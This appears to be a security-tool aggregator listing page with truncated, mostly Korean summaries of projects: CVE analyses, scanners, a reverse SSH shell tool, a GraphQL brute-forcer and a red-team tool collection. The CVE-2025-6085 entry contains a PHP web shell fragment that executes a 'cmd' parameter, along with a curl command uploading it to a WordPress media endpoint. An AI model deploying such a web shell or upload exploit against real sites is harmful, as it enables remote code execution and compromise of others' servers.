CVE-2022-40471

CVE-2022-40471 Clinic's Patient Management System v 1.0의 무제한 파일 업로드 취약점을 통한 원격 코드 실행 기술 설명: Clinic's Patient Management System v 1.0의 원격 코드 실행 취약점으로 인해 공격자는 users.php의 프로필 사진 업로드 기능을 통해 임의의 PHP 웹쉘을 업로드할 수 있습니다. 영향을 받는 구성 요소 - 소스 코드 다음 소스 코드에서 개발자가 특정 확장자를 제한하지 않고 모든 미디어 파일을 직접 업로드하도록 허용하는 것을 볼 수...

haruspex

haruspex "Hacking is the discipline of questioning all your assumptions all of the time." -- Dave Aitel Haruspex is a blazing fast IDA headless plugin that extracts pseudocode generated by IDA's decompiler in a format that should be suitable to be imported into an IDE, or parsed by static analysi...

pdf.js-CVE-2024-4367

🚨 CVE-2024-4367 - 범용 PDF.js 취약점 스캐너 ⚠️ 중요 보안 도구 | CVE-2024-4367CVSS 9.8 - PDF.js 원격 코드 실행RCE 취약점 탐지 모든 웹사이트에서 작동 - 별도 설정 불필요 📋 목차 📖 개요 ⚡ 빠른 시작 🔍 탐지 기능 🛠️ 작동 방식 📊 출력 예시 🔒 해결 가이드 🎯 공격 벡터 🧪 테스트 지침 📝 기술 세부사항 ⚠️ 법적 고지 📚 참고 자료 📖 개요 CVE-2024-4367 은 PDF.js4.2.67 미만 버전의 치명적인 취약점 으로, 악성 PDF 파일을 통해 임의...

CoBRA

CoBRA Co efficient-B ased R econstruction of A rithmetic — 혼합 부울-산술Mixed Boolean-Arithmetic 표현식 단순화기. CoBRA는 산술+, -, 연산자와 비트 연산&, |, ^, 및 시프트 연산자가 섞여 있는 표현식을 디난독화합니다. 이는 소프트웨어 난독화에서 흔히 사용되는 기법입니다. root@kitploit: $ cobra-cli --mba "x&y+x|y" x + y $ cobra-cli --mba "a^b|a^c + 65469 a&b&c + 65470...

gemma_crackme_tutorial

Google의 Gemma 4 E4B 로컬 AI 모델을 사용하여 간단한 Crackme 리버스 엔지니어링하기 저는 Google이 출시한 새로운 Gemma E4B 오픈 가중치 로컬 모델을 가지고 놀던 중, 로컬 오프라인 리버스 엔지니어링 시나리오에서 놀라운 성공을 거두는 것을 보았습니다. 이 튜토리얼을 작성하여 로컬 AI가 이제 많은 기본적인 리버싱 작업에 충분히 좋다는 사실을 알리고, 앞으로 상황이 빠르게 개선될 것이라는 점을 전파하고자 합니다. 리버스 엔지니어링과 AI 새로운 바이너리를 리버싱할 때 가장 지루한 부분 중 하나는...

envsec

envsec 네이티브 OS 자격 증명 저장소를 사용하는 안전한 환경 변수 비밀 관리 도구. 데모 기능 OS 네이티브 자격 증명 저장소에 비밀 저장 일반 텍스트 파일 아님 크로스 플랫폼: macOS, Linux, Windows 컨텍스트별 비밀 구성 예: myapp.dev, stripe-api.prod, work.staging SQLite를 통한 비밀 메타데이터 추적 키 이름, 타임스탬프 글로브 패턴으로 컨텍스트 및 비밀 검색 비밀 보간 기능으로 명령 실행 cmd로 명령 저장 및 재실행 검색, 목록, 실행, 삭제 .env 파일로 ...

Netgrave

Netgrave Netwave IP 카메라의 메모리 덤프 취약점CVE-2018-17240을 이용하여 로그인 자격 증명을 검색하는 도구입니다. 이 프로젝트는 expcamera에서 영감을 받았으며 성능 및 효율성 개선을 제공합니다. 이 도구는 expcamera처럼 셸 명령을 통해 Linux CLI 도구를 사용하지 않으므로 모든 플랫폼에서 작동합니다. CVE-2018-17240 리눅스 시스템에서 /proc/kcore는 시스템의 물리적 메모리에 대한 직접 매핑을 제공하는 가상 파일로, 전체 커널 가상 메모리 공간에 대한 읽기 접근을...

LKWA

LKWA Lesser Known Web Attack Lab은 중급 펜테스터가 Object Injection, XSSI, PHAR 역직렬화, variables variable 등과 같은 잘 알려지지 않은 웹 공격을 테스트하고 연습할 수 있는 도구입니다. Write-up을 환영합니다. 제 walk-through는 여기에 있습니다. 설치 - 로컬 git clone https://github.com/weev3/LKWA 명령어로 클론한 후 웹 서버로 이동시키면 됩니다. XSSI 챌린지의 경우 apache2.conf 파일에서 Allow...

Dop2Mop

Dop2Mop BloodHound를 위한 개념 증명 OpenGraph 수집기로, DevOps에서 MLOps 인프라로 이어지는 공격 경로를 매핑합니다. Brett Hawkins@h4wkst3r의 Pipelines of Privilege: Attack Paths from DevOps to MLOps Infrastructure를 기반으로 합니다. 목차 감사의 말 개요 지원 플랫폼 매핑된 신뢰 경계 설치 선택적 종속성 빠른 시작 데모 데이터 생성 BloodHound로 수집 설정 설정 파일 자격 증명 검증 CLI 참조 명령 개요 전역 ...

mubeng

매우 빠른 프록시 체커 및 IP 로테이터입니다. 기여하기 • 새로운 소식 • 문서 • 이슈 보고 기능 왜 mubeng인가? 설치 바이너리 Docker 소스 사용법 기본 옵션 참고 사항 SSL 인증서 설치 예시 프록시 체커 프록시 IP 로테이터 Burp Suite 업스트림 프록시 OWASP ZAP 프록시 체인 프록시 형식 템플릿 Amazon API Gateway 제한 사항 알려진 버그 기여자 발음 변경 사항 라이선스 기능 프록시 IP 로테이터 : 지정된 요청마다 IP 주소를 로테이션합니다. 프록시 체커 : 프록시 IP의 가용성을...

Hack Tools

Hack Tools 이 저장소는 200개 이상 의 도구 와 리소스 를 모아놓은 것으로, 레드 팀 활동 에 유용할 수 있습니다. 일부 도구는 레드 팀을 위해 특별히 설계되었을 수도 있고, 다른 도구는 더 일반적인 용도로 사용되지만 레드 팀 컨텍스트에 맞게 조정될 수 있습니다. 경고 이 저장소의 자료는 정보 제공 및 교육 목적으로만 제공됩니다. 불법 활동에 사용하기 위한 것이 아닙니다. 참고 화살표로 도구 목록 제목을 숨깁니다. 🔙을 클릭하면 목록으로 돌아갑니다. 클론 명령어bash git submodule update --ini...

bugsy

Bugsy Bugsy는 코드의 보안 취약점을 자동으로 수정해주는 CLI명령줄 인터페이스 도구입니다. 이는 최초의 벤더 중립적 자동 보안 취약점 수정 도구인 Mobb의 커뮤니티 에디션 버전입니다. Bugsy는 개발자가 코드의 보안 취약점을 신속하게 식별하고 수정할 수 있도록 설계되었습니다. Mobb이란 무엇인가요? Mobb은 최초의 벤더 중립적 자동 보안 취약점 수정 도구입니다. Checkmarx, CodeQLGitHub Advanced Security, OpenText Fortify, Snyk의 SAST 결과를 분석하여 개발자...

isms-builder

ISMS Builder Self-hosted Information Security Management System — open source, no cloud required 📖 Wiki — Docker-Image-Nutzung & Umgebungsvariablen, Architektur & Module, FAQ, Mitwirken DE/EN ⚠️ Security Warning: Fake repositories and copies distributing malware ISMS Builder has no packaged...

unimap

Unimap IP 주소별로 한 번만 스캔하고 Nmap으로 대량 데이터의 스캔 시간을 줄입니다. Unimap은 "Unique Nmap Scan "의 약어입니다. 이 도구는 Linux, OSX, Windows 또는 AndroidTermux에서 문제없이 실행할 수 있습니다. 왜? 조직 전체에 Nmap을 실행할 계획이 있다면, 수십, 수백, 심지어 수천 개의 서브도메인이 동일한 IP 주소를 가리킬 가능성이 있으며, 계속 스캔하는 것이 거의 불가능해지는 시점이 올 것이라는 점을 고려해야 합니다. 또한 여러 번 동일한 원격 호스트 주소를...

CVE-2022-0847

CVE-2022-0847 Dirty Pipe linux 커널 권한 상승 분석 toc 이 글은 화웨이 보안 공식 계정에 먼저 게재되었으며, 이쪽은 블로그 버전비교적 완전함입니다. 최초 게재 링크: https://mp.weixin.qq.com/s/6VhWBOzJ7uu80nzFxe5jpg 취약점 개요 취약점 번호: CVE-2022-0847 별칭: 더티 파이프 dirty pipe 취약점 제품: linux kernel - splice syscall 영향 버전: linux 5.8 패치 f6dd975583bd에서 도입, 5.16.11,...

reverse_ssh

Reverse SSH 아트 크레딧: https://www.instagram.com/smart.hedgehog.art/ SSH를 리버스 셸에 사용하고 싶으신가요? 이제 가능합니다. 기본 SSH 구문으로 리버스 셸 관리 및 연결 동적, 로컬 및 원격 포워딩 대상에서 파일을 검색하기 위한 기본 SCP 및 SFTP 구현 전체 윈도우 셸 http, websockets, tls 등 다양한 네트워크 전송 높은 신뢰도의 제어 채널을 위한 상호 클라이언트 및 서버 인증 그 외에도!text +----------------+ +---------+...

CrackQL

CrackQL CrackQL은 GraphQL 비밀번호 무차별 대입brute-force 및 퍼징 유틸리티입니다. CrackQL은 취약한 속도 제한rate-limit 및 비용 분석 제어를 악용하여 자격 증명을 무차별 대입하고 작업을 퍼징하는 다목적 GraphQL 침투 테스트 도구입니다. 목차 작동 방식 공격 사용 사례 방어 회피 비밀번호 스프레이 무차별 대입 이중 인증 OTP 우회 사용자 계정 열거 안전하지 않은 직접 객체 참조 일반 퍼징 입력 설치 구성 관리자 언급 작동 방식 CrackQL은 단일 GraphQL 쿼리 또는...

asterion-network-minotaur

윤리적 네트워크 보안 감사 도구 — SMB, RDP, LDAP, SSH, Kerberos 등 50개 이상의 검사를 수행하며 AI 기반 CVE 분석 및 OWASP/CIS/NIST 규정 준수 매핑을 제공합니다. 빠른 시작 · 문서 · Docker · AI 기능 · GitHub에서 별표 작동 화면 로컬 스캔 · 127.0.0.1 · 33개 발견 0C/4H/2M/3L/24I · 16개 검사 · 57.74초 · .NET 8.0.22 !Asterion — 심각도 배지와 AI 분석이 포함된 HTML 보고서https://assets.kitp...

CVE-2025-6085

Make Connector shello.php ".shellexec$GET"cmd".""; ? EOF curl -k -X POST https://lab1.hacker/wp-json/wp/v2/media \ -H "IWC-API-KEY: YOURFRIENDLYKEYHERE" \ -F "[email protected]" \ -F "title=Hacker World" \ -F "description=A test file" \ -F "caption=Hacker Caption" \ アップロードフォルダに配置されたシェルを利用します...

stackrox

목차 StackRox 쿠버네티스 보안 플랫폼 목차 커뮤니티 StackRox 배포 Helm을 사용한 빠른 설치 Helm을 사용한 수동 설치 Operator를 사용한 설치 스크립트를 통한 설치 쿠버네티스 배포판 EKS, AKS, GKE OpenShift Docker Desktop, Colima 또는 minikube StackRox 사용자 인터페이스UI 접근 개발 빠른 시작 빌드 도구 StackRox 클론 로컬 개발 일반적인 Makefile 대상 생산성 GoLand 설정 sqlintegration 테스트 실행 디버깅 이식 가능한 설...